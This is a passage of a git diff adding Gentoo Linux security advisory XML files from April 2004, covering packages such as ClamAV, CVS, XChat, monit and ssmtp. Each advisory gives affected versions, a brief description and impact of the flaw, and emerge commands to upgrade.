+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-07">
+  <title>ClamAV RAR Archive Remote Denial Of Service Vulnerability</title>
+  <synopsis>
+    ClamAV is vulnerable to a denial of service attack when processing certain
+    RAR archives.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>April 07, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>45357</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.68.1</unaffected>
+      <vulnerable range="le">0.68</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    From <uri link="http://www.clamav.net/">http://www.clamav.net/</uri> :
+    </p>
+    <p>
+    "Clam AntiVirus is a GPL anti-virus toolkit for UNIX. The main purpose
+    of this software is the integration with mail servers (attachment
+    scanning). The package provides a flexible and scalable multi-threaded
+    daemon, a command line scanner, and a tool for automatic updating via
+    Internet. The programs are based on a shared library distributed with
+    the Clam AntiVirus package, which you can use with your own software.
+    Most importantly, the virus database is kept up to date."
+    </p>
+  </background>
+  <description>
+    <p>
+    Certain types of RAR archives, including those created by variants of
+    the W32.Beagle.A@mm worm, may cause clamav to crash when it attempts to
+    process them.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This vulnerability causes a Denial of Service in the clamav process.
+    Depending on	configuration, this may cause dependent services such as
+    mail to fail as well.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    ClamAV users should upgrade to version 0.68.1 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-antivirus/clamav-0.68.1&quot;
+    # emerge &quot;&gt;=app-antivirus/clamav-0.68.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1909">CVE-2004-1909</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-08.xml b/xml/htdocs/security/en/glsa/glsa-200404-08.xml
new file mode 100644
index 00000000..8e4bc840
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-08">
+  <title>GNU Automake symbolic link vulnerability</title>
+  <synopsis>
+    Automake may be vulnerable to a symbolic link attack which may allow an
+    attacker to modify data or elevate their privileges.
+  </synopsis>
+  <product type="ebuild">automake</product>
+  <announced>April 08, 2004</announced>
+  <revised>January 31, 2005: 05</revised>
+  <bug>45646</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-devel/automake" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5-r3</unaffected>
+      <unaffected range="rge">1.7.9-r1</unaffected>
+      <unaffected range="lt">1.7</unaffected>
+      <vulnerable range="le">1.8.5-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Automake is a tool for automatically generating `Makefile.in' files
+    which is often used in conjuction with Autoconf and other GNU Autotools
+    to ease portability among applications. It also provides a standardized
+    and light way of writing complex Makefiles through the use of many
+    built-in macros.
+    </p>
+  </background>
+  <description>
+    <p>
+    Automake may be vulnerable to a symbolic link attack which may allow an
+    attacker to modify data or escalate their privileges. This is due to
+    the insecure way Automake creates directories during compilation. An
+    attacker may be able to create symbolic links in the place of files
+    contained in the affected directories, which may potentially lead to
+    elevated privileges due to modification of data.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to use this vulnerability to modify data in an
+    unauthorized fashion or elevate their privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Automake users should upgrade to the latest versions:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sys-devel/automake</code>
+  </resolution>
+  <references/>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-09.xml b/xml/htdocs/security/en/glsa/glsa-200404-09.xml
new file mode 100644
index 00000000..f53b2133
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-09.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-09">
+  <title>Cross-realm trust vulnerability in Heimdal</title>
+  <synopsis>
+    Heimdal contains cross-realm vulnerability allowing someone with control
+    over a realm to impersonate anyone in the cross-realm trust path.
+  </synopsis>
+  <product type="ebuild">heimdal</product>
+  <announced>April 09, 2004</announced>
+  <revised>April 09, 2004: 01</revised>
+  <bug>46590</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.6.1</unaffected>
+      <vulnerable range="le">0.6.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos 5.
+    </p>
+  </background>
+  <description>
+    <p>
+    Heimdal does not properly perform certain consistency checks for
+    cross-realm requests, which allows remote attackers with control of a realm
+    to impersonate others in the cross-realm trust path.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers with control of a realm may be able to impersonate other
+    users in the cross-realm trust path.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Heimdal users should upgrade to version 0.6.1 or later:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv ">=app-crypt/heimdal-0.6.1"
+    # emerge ">=app-crypt/heimdal-0.6.1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0371">CVE</uri>
+  </references>
+  <metadata tag="submitter">klieber</metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-10.xml b/xml/htdocs/security/en/glsa/glsa-200404-10.xml
new file mode 100644
index 00000000..cf514427
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-10.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-10">
+  <title>iproute local Denial of Service vulnerability</title>
+  <synopsis>
+    The iproute package allows local users to cause a denial of service.
+  </synopsis>
+  <product type="ebuild"></product>
+  <announced>April 09, 2004</announced>
+  <revised>April 09, 2004: 01</revised>
+  <bug>34294</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/iproute" auto="yes" arch="*">
+      <unaffected range="ge">20010824-r5</unaffected>
+      <vulnerable range="le">20010824-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    iproute is a set of tools for managing linux network routing and advanced
+    features.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that iproute can accept spoofed messages on the kernel
+    netlink interface from local users. This could lead to a local Denial of
+    Service condition.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Local users could cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+     A workaround is not currently known for this issue. All users are advised
+     to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All iproute users should upgrade to version 20010824-r5 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=sys-apps/iproute-20010824-r5";
+    # emerge ">=sys-apps/iproute-20010824-r5";
+    </code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0856">CAN-2003-0856</uri>
+  </references>
+  <metadata tag="submitter">
+    lcars
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-11.xml b/xml/htdocs/security/en/glsa/glsa-200404-11.xml
new file mode 100644
index 00000000..d06093da
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-11">
+  <title>Multiple Vulnerabilities in pwlib</title>
+  <synopsis>
+    Multiple vulnerabilites have been found in pwlib that may lead to a remote
+    denial of service or buffer overflow attack. 
+  </synopsis>
+  <product type="ebuild">dev-libs/pwlib</product>
+  <announced>April 09, 2004</announced>
+  <revised>April 09, 2004: 01</revised>
+  <bug>45846</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/pwlib" auto="yes" arch="*">
+      <unaffected range="ge">1.5.2-r3</unaffected>
+      <vulnerable range="le">1.5.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pwlib is a multi-platform library designed for OpenH323.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in the implimentation of protocol
+    H.323 contained in pwlib. Most of the vulnerabilies are in the parsing of
+    ASN.1 elements which would allow an attacker to use a maliciously crafted
+    ASN.1 element to cause unpredictable behavior in pwlib.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker may cause a denial of service condition or cause a buffer
+    overflow that would allow arbitrary code to be executed with root
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Blocking ports 1719 and 1720 may reduce the likelihood of an attack. All
+    users are advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pwlib users are advised to upgrade to version 1.5.2-r3 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-libs/pwlib-1.5.2-r3"
+    # emerge ">=dev-libs/pwlib-1.5.2-r3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0097">CAN-2004-0097</uri>
+    <uri link="http://www.uniras.gov.uk/vuls/2004/006489/h323.htm">NISCC Vulnerability Advisory 006489/H323</uri>
+  </references>
+  <metadata tag="submitter">
+    aescriva
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-12.xml b/xml/htdocs/security/en/glsa/glsa-200404-12.xml
new file mode 100644
index 00000000..4ef2052e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-12">
+  <title>Scorched 3D server chat box format string vulnerability</title>
+  <synopsis>
+    Scorched 3D is vulnerable to a format string attack in the chat box that
+    leads to Denial of Service on the game server and possibly allows execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">scorched3d</product>
+  <announced>April 09, 2004</announced>
+  <revised>April 09, 2004: 08</revised>
+  <bug>39302</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-strategy/scorched3d" auto="yes" arch="*">
+      <unaffected range="ge">37</unaffected>
+      <vulnerable range="lt">37</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Scorched 3D is a game based loosely on the classic DOS game &quot;Scorched
+    Earth&quot;. Scorched 3D adds amongst other new features a 3D island
+    environment and LAN and internet play. Scorched 3D is totally free and is
+    available for multiple operating systems.
+    </p>
+  </background>
+  <description>
+    <p>
+    Scorched 3D (build 36.2 and before) does not properly check the text
+    entered in the Chat box (T key). Using format string characters, you can
+    generate a heap overflow. This and several other unchecked buffers have
+    been corrected in the build 37 release.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This vulnerability can be easily exploited to remotely crash the Scorched
+    3D server, disconnecting all clients. It could also theorically be used to
+    execute arbitrary code on the server with the rights of the user running
+    the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Scorched 3D users should upgrade to version 37 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=games-strategy/scorched3d-37"
+    # emerge ">=games-strategy/scorched3d-37"</code>
+  </resolution>
+  <references>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-13.xml b/xml/htdocs/security/en/glsa/glsa-200404-13.xml
new file mode 100644
index 00000000..f12f710a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-13.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-13">
+  <title>CVS Server and Client Vulnerabilities</title>
+  <synopsis>
+    There are two vulnerabilities in CVS; one in the server and one in the
+    client. These vulnerabilities allow the reading and writing of arbitrary
+    files on both client and server.
+  </synopsis>
+  <product type="ebuild">cvs</product>
+  <announced>April 14, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>47800</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.15</unaffected>
+      <vulnerable range="le">1.11.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS, which stands for Concurrent Versions System, is a client/server
+    application which tracks changes to sets of files. It allows multiple
+    users to work concurrently on files, and then merge their changes back
+    into the main tree (which can be on a remote system). It also allows
+    branching, or maintaining separate versions for files.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are two vulnerabilities in CVS; one in the server and one in the
+    client. The server vulnerability allows a malicious client to request
+    the contents of any RCS file to which the server has permission, even
+    those not located under $CVSROOT. The client vulnerability allows a
+    malicious server to overwrite files on the client machine anywhere the
+    client has permissions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Arbitrary files may be read or written on CVS clients and servers by
+    anybody with access to the CVS tree.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest stable version of CVS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CVS users should upgrade to the latest stable version.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=dev-util/cvs-1.11.15&quot;
+    # emerge &quot;&gt;=dev-util/cvs-1.11.15&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://ccvs.cvshome.org/source/browse/ccvs/NEWS?rev=1.116.2.92&amp;content-type=text/x-cvsweb-markup">CVS commit log</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0180">CVE-2004-0180</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0405">CVE-2004-0405</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-14.xml b/xml/htdocs/security/en/glsa/glsa-200404-14.xml
new file mode 100644
index 00000000..9cfea2c0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-14.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-14">
+  <title>Multiple format string vulnerabilities in cadaver</title>
+  <synopsis>
+    There are multiple format string vulnerabilities in the neon library used
+    in cadaver, possibly leading to execution of arbitrary code when connected
+    to a malicious server.
+  </synopsis>
+  <product type="ebuild">cadaver</product>
+  <announced>April 19, 2004</announced>
+  <revised>April 19, 2004: 01</revised>
+  <bug>47799</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-misc/cadaver" auto="yes" arch="*">
+      <unaffected range="ge">0.22.1</unaffected>
+      <vulnerable range="lt">0.22.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    According to <uri
+    link="http://www.webdav.org/cadaver">http://www.webdav.org/cadaver</uri>,
+    cadaver is a command-line WebDAV client for Unix. It supports file upload,
+    download, on-screen display, namespace operations (move/copy), collection
+    creation and deletion, and locking operations.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cadaver code includes the neon library, which in versions 0.24.4 and
+    previous is vulnerable to multiple format string attacks. The latest
+    version of cadaver uses version 0.24.5 of the neon library, which makes it
+    immune to this vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When using cadaver to connect to an untrusted WebDAV server, this
+    vulnerability can allow a malicious remote server to execute arbitrary code
+    on the client with the rights of the user using cadaver.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    cadaver users should upgrade to version 0.22.1 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/cadaver-0.22.1"
+    # emerge ">=net-misc/cadaver-0.22.1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0179">CAN-2004-0179</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-15.xml b/xml/htdocs/security/en/glsa/glsa-200404-15.xml
new file mode 100644
index 00000000..1b1071d7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-15.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-15">
+  <title>XChat 2.0.x SOCKS5 Vulnerability</title>
+  <synopsis>
+    XChat is vulnerable to a stack overflow that may allow a remote attacker to
+    run arbitrary code.
+  </synopsis>
+  <product type="ebuild">xchat</product>
+  <announced>April 19, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>46856</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/xchat" auto="yes" arch="*">
+      <unaffected range="ge">2.0.8-r1</unaffected>
+      <vulnerable range="lt">2.0.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XChat is a multiplatform IRC client.
+    </p>
+  </background>
+  <description>
+    <p>
+    The SOCKS 5 proxy code in XChat is vulnerable to a remote exploit.
+    Users would have to be using XChat through a SOCKS 5 server, enable
+    SOCKS 5 traversal which is disabled by default and also connect to an
+    attacker's custom proxy server.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    This vulnerability may allow an attacker to run arbitrary code within
+    the context of the user ID of the XChat client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All XChat users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-irc/xchat-2.0.8-r1&quot;
+    # emerge &quot;&gt;=net-irc/xchat-2.0.8-r1&quot;</code>
+    <p>
+    Note that users of the gtk1 version of xchat (1.8.*) should upgrade to
+    xchat-1.8.11-r1:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;=net-irc/xchat-1.8.11-r1&quot;
+    # emerge &quot;=net-irc/xchat-1.8.11-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://mail.nl.linux.org/xchat-announce/2004-04/msg00000.html">XChat 2.0.x SOCKS5 Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0409">CVE-2004-0409</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-16.xml b/xml/htdocs/security/en/glsa/glsa-200404-16.xml
new file mode 100644
index 00000000..777b0fac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-16.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-16">
+  <title>Multiple new security vulnerabilities in monit</title>
+  <synopsis>
+    Two new vulnerabilities have been found in the HTTP interface of monit,
+    possibly leading to denial of service or execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">monit</product>
+  <announced>April 19, 2004</announced>
+  <revised>April 19, 2004: 01</revised>
+  <bug>47631</bug>
+  <access>remote </access>
+  <affected>
+    <package name="app-admin/monit" auto="yes" arch="*">
+      <unaffected range="ge">4.2.1</unaffected>
+      <vulnerable range="le">4.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Monit is a system administration utility that allows management and
+    monitoring of processes, files, directories and devices on a Unix system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Monit has several vulnerabilities in its HTTP interface : a buffer overflow
+    vulnerability in the authentication handling code and a off-by-one error in
+    the POST method handling code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker may exploit the off-by-one error to crash the Monit daemon and
+    create a denial of service condition, or cause a buffer overflow that would
+    allow arbitrary code to be executed with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Monit users should upgrade to version 4.2.1 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-admin/monit-4.2.1"
+    # emerge ">=app-admin/monit-4.2.1"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.tildeslash.com/monit/secadv_20040305.txt">Monit security advisory 20040305</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-17.xml b/xml/htdocs/security/en/glsa/glsa-200404-17.xml
new file mode 100644
index 00000000..53f36113
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-17.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-17">
+  <title>ipsec-tools and iputils contain a remote DoS vulnerability</title>
+  <synopsis>
+    racoon, which is included in the ipsec-tools and iputils packages in
+    Portage, does not check the length of ISAKMP headers. Attackers may be able
+    to craft an ISAKMP header of sufficient length to consume all available
+    system resoources, causing a Denial of Service.
+  </synopsis>
+  <product type="ebuild">ipsec-utils</product>
+  <announced>April 24, 2004</announced>
+  <revised>April 24, 2004: 01</revised>
+  <bug>48847</bug>
+  <access>remote </access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="amd64">
+      <unaffected range="ge">0.3.1</unaffected>
+      <vulnerable range="lt">0.3.1</vulnerable>
+    </package>
+    <package name="net-misc/iputils" auto="yes" arch="ppc amd64 ppc64 s390">
+      <unaffected range="eq">021109-r3</unaffected>
+      <vulnerable range="eq">021109-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    From <uri link="http://ipsec-tools.sourceforge.net/">http://ipsec-tools.sourceforge.n
+    et/</uri>
+    </p>
+    <p>
+    "IPsec-Tools is a port of KAME's IPsec utilities to the Linux-2.6 IPsec
+    implementation."
+    </p>
+    <p>
+    iputils is a collection of network monitoring tools, including racoon, ping
+    and ping6.
+    </p>
+  </background>
+  <description>
+    <p>
+    When racoon receives an ISAKMP header, it allocates memory based on the
+    length of the header field. Thus, an attacker may be able to cause a Denial
+    of Services by creating a header that is large enough to consume all
+    available system resources.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This vulnerability may allow an attacker to remotely cause a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A workaround is not currently known for this issue. All users are advised
+    to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    ipsec-tools users should upgrade to version 0.2.5 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-firewall/ipsec-tools-0.3.1"
+    # emerge ">=net-firewall/ipsec-tools-0.3.1"</code>
+    <p>
+    iputils users should upgrade to version 021109-r3 or later:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/iputils-021109-r3"
+    # emerge ">=net-misc/iputils-021109-r3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0403">CVE</uri>
+  </references>
+  <metadata tag="submitter">
+    klieber
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-18.xml b/xml/htdocs/security/en/glsa/glsa-200404-18.xml
new file mode 100644
index 00000000..1873c799
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-18.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-18">
+  <title>Multiple Vulnerabilities in ssmtp</title>
+  <synopsis>
+    There are multiple format string vulnerabilities in the SSMTP package,
+    which may allow an attacker to run arbitrary code with ssmtp's privileges
+    (potentially root).
+  </synopsis>
+  <product type="ebuild">ssmtp</product>
+  <announced>April 26, 2004</announced>
+  <revised>April 26, 2004: 01</revised>
+  <bug>47918</bug>
+  <bug>48435</bug>
+  <access>remote root </access>
+  <affected>
+    <package name="mail-mta/ssmtp" auto="yes" arch="*">
+      <unaffected range="ge">2.60.7</unaffected>
+      <vulnerable range="le">2.60.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SSMTP is a very simple mail transfer agent (MTA) that relays mail from the
+    local machine to another SMTP host. It is not designed to function as a
+    full mail server; its sole purpose is to relay mail.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are two format string vulnerabilities inside the log_event() and
+    die() functions of ssmtp. Strings from outside ssmtp are passed to various
+    printf()-like functions from within log_event() and die() as format
+    strings. An attacker could cause a specially-crafted string to be passed to
+    these functions, and potentially cause ssmtp to execute arbitrary code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If ssmtp connects to a malicious mail relay server, this vulnerability can
+    be used to execute code with the rights of the mail sender, including root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of ssmtp.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are advised to upgrade to the latest available version of ssmtp.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=mail-mta/ssmtp-2.60.7"
+    # emerge ">=mail-mta/ssmtp-2.60.7"</code>
+  </resolution>
+  <references>
+    <uri link="http://secunia.com/advisories/11378/">Secunia Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0156">CVE Reference</uri>
+    <uri link="http://lists.debian.org/debian-security-announce/debian-security-announce-2004/msg00084.html">Debian Advisory</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200404-19.xml b/xml/htdocs/security/en/glsa/glsa-200404-19.xml
new file mode 100644
index 00000000..b5bf011b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200404-19.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200404-19">
